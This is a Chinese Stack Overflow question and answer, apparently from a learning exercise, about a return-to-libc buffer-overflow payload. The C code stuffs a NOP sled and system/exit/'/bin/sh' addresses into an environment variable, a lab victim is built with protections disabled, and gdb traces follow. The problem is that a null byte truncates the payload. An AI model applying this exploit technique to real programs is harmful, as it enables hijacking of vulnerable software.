【问题标题】:why putenv(buf) doesn't work properly because memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4) copies a \x00 byte to buf?为什么 putenv(buf) 不能正常工作,因为 memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4) 将 \x00 字节复制到 buf?
【发布时间】:2014-07-01 18:12:23
【问题描述】:

我正在使用 ubuntu 14.04。所以我有最新的内核。 我正在尝试返回 libc 方法。

这是我创建环境变量的代码,稍后将输入到受害者代码中

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define BUFFER_SIZE 104
#define NOP 0x90

char systemAddr[] = "\xb0\xe3\xe4\xf7";
char exitAddr[] = "\x00\x14\xe4\xf7";
char bashAddr[] = "\xcc\xd9\xe9\xff"; 

int main()
{

char *buf;
int bsize = BUFFER_SIZE;

if(!(buf = (char *)malloc(bsize)))
{
printf("can't allocate memory!");
exit(0);
}

memset(buf, NOP, 104);
memcpy(buf, "BUF=", 4);
memcpy(buf + 88, systemAddr, 4 );

memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4);      //memcpy(buf + 92, exitAddr, 4);
memcpy(buf + 96, bashAddr, 4);

memcpy(buf + 100, "\x00\x00\x00\x00", 4);

printf("%s \n", buf);
putenv(buf);
system("/bin/bash");


return 0;
}

问题出在这一行,

memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4); //memcpy(buf + 92, exitAddr, 4);

在我给出带有 null(\x00) 的地址后,当我检查 $BUF 时,在 buf+92 的位置会看到一些不同的值。 最多 88 字节的所有复制都成功完成。但我未能将 exitAddr 复制到第 92-95 个字节。 我认为这是因为开始“\x00”。如果我尝试使用“(如果我给 \xaa\xaa\xaa\xaa 它工作正常)。”它工作正常!

我正在给出我的程序的 gdb 输出

(gdb) run 
Starting program: /home/Stack Overflow/From tube/Ret2Libc 

Breakpoint 1, main () at Ret2Libc.c:40
40    memcpy(buf + 100, "\x00\x00\x00\x00", 4);

(gdb) x/1s buf
0xffffcf1c:    "BUF=", '\220' <repeats 84 times>, "\260\343\344", <incomplete sequence \367>

(gdb) x/4xw buf+88
0xffffcf74:    0xf7e4e3b0    0xf7e41400    0xffe9d9cc    0x90909090

(gdb) s

Breakpoint 2, main () at Ret2Libc.c:43
43    putenv(buf);

(gdb) x/4xw buf+88
0xffffcf74:    0xf7e4e3b0    0xf7e41400    0xffe9d9cc    0x000000

(gdb) s

Breakpoint 3, main () at Ret2Libc.c:44
44    system("/bin/sh");

(gdb) x/4xw buf+88
0xffffcf74:    0xf7e4e3b0    0xf7e41400    0xffe9d9cc    0x000000
(gdb) s
$   $BUF
/bin/sh: 1: ��������������������������������������������������������������������������������​��������: not found
$ exit

Breakpoint 4, main () at Ret2Libc.c:47
47    return 0;
(gdb) x/4xw buf+88
0xffffcf74:    0xf7e4e3b0    0xf7e41400    0xffe9d9cc    0x000000

(gdb) s
48    }
(gdb) x/4xw buf+88
0xffffcf74:    0xf7e4e3b0    0xf7e41400    0xffe9d9cc    0x000000

(gdb) c
Continuing.
[Inferior 1 (process 4808) exited normally]
(gdb)

你注意到了吗。 “buf 变量直到最后才具有真实值”。

当我执行受害者代码时,下面给出,

$ gcc -ggdb -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o Ret2Libc Ret2Libc.c

  Notebook-PC:$ ./Ret2Libc 
    $ $BUF
    /bin/sh: 1: ����������������������������������������������������������������������������������������: not found
    $ gdb ./victim

Reading symbols from ./victim...done.

(gdb) b 12
Breakpoint 1 at 0x804848e: file victim.c, line 12.

(gdb) run $BUF
Starting program: /home/mj/victim $BUF
aa

Breakpoint 1, main (argc=2, argv=0xffffcf24) at victim.c:12
12      strcpy(array, argv[1] );

(gdb) x/8xw argv[1]
0xffffd156: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd166: 0x90909090  0x90909090  0x90909090  0x90909090

(gdb) x/8xw argv[1]+88
0xffffd1ae: 0x47445800  0x4e54565f  0x00373d52  0x5f474458
0xffffd1be: 0x53534553  0x5f4e4f49  0x633d4449  0x53530032

(gdb) x/8xw argv[1]+84
0xffffd1aa: 0xf7e4e3b0  0x47445800  0x4e54565f  0x00373d52
0xffffd1ba: 0x5f474458  0x53534553  0x5f4e4f49  0x633d4449

这里我们可以看到从 argv1+88 的数据发生了变化。怎么样?是因为 exitAddr 中有“\x00”吗?我该如何克服呢?

The same discussion is here also,please refer this too..

【问题讨论】:

  • putenv 需要一个字符串(即 0 终止),您不能在环境变量中嵌入 0 字节。
  • 在我的系统中 EXIT ADDRESS 是“\x00\x14\xe4\xf7”。所以我不能创建一个包含这个地址的环境变量吗?还有其他方法吗?
  • 第一个问题:是的,环境变量不能包含0字节。对于第二个问题:我不知道。

标签: c environment-variables stack-overflow memcpy buffer-overflow


【解决方案1】:

正如@mafso 指出的那样,putenv(buf) 需要一个字符串。在 C 中,stringchar 的数组,直到并包括终止 '\0'

所以当buf = "BUF=...\x00\x14\xe4\xf7"; putenv(buf); 时,就好像buf = "BUF=..."; 被编码了一样。

与其将0x0014e4f7所需的地址编码为4char,建议将地址编码为8个十六进制字符buf = "BUF=...0014e4f7";当然解码地址需要考虑新格式。

【讨论】:

    猜你喜欢
    • 2019-09-06
    • 2013-03-03
    • 2010-12-28
    • 1970-01-01
    • 2015-09-17
    • 2022-12-22
    • 1970-01-01
    • 1970-01-01
    • 2020-09-09
    相关资源
    最近更新 更多